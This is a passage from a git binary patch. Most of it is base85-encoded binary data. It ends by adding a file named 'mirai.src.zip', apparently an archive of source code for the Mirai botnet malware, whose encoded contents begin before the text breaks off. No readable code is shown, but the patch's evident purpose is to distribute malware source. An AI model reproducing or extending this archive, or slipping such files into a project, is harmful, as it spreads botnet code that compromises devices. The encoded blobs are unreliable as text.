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 Qbb$vI2yum3)VuxmKNo;zMF0Q* literal 0 HcmV?d00001 diff --git a/mirai.src.zip b/mirai.src.zip new file mode 100644 index 0000000000000000000000000000000000000000..2f7ea3ffd976b0d307bc478398ca24ff6422608c GIT binary patch literal 71634 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 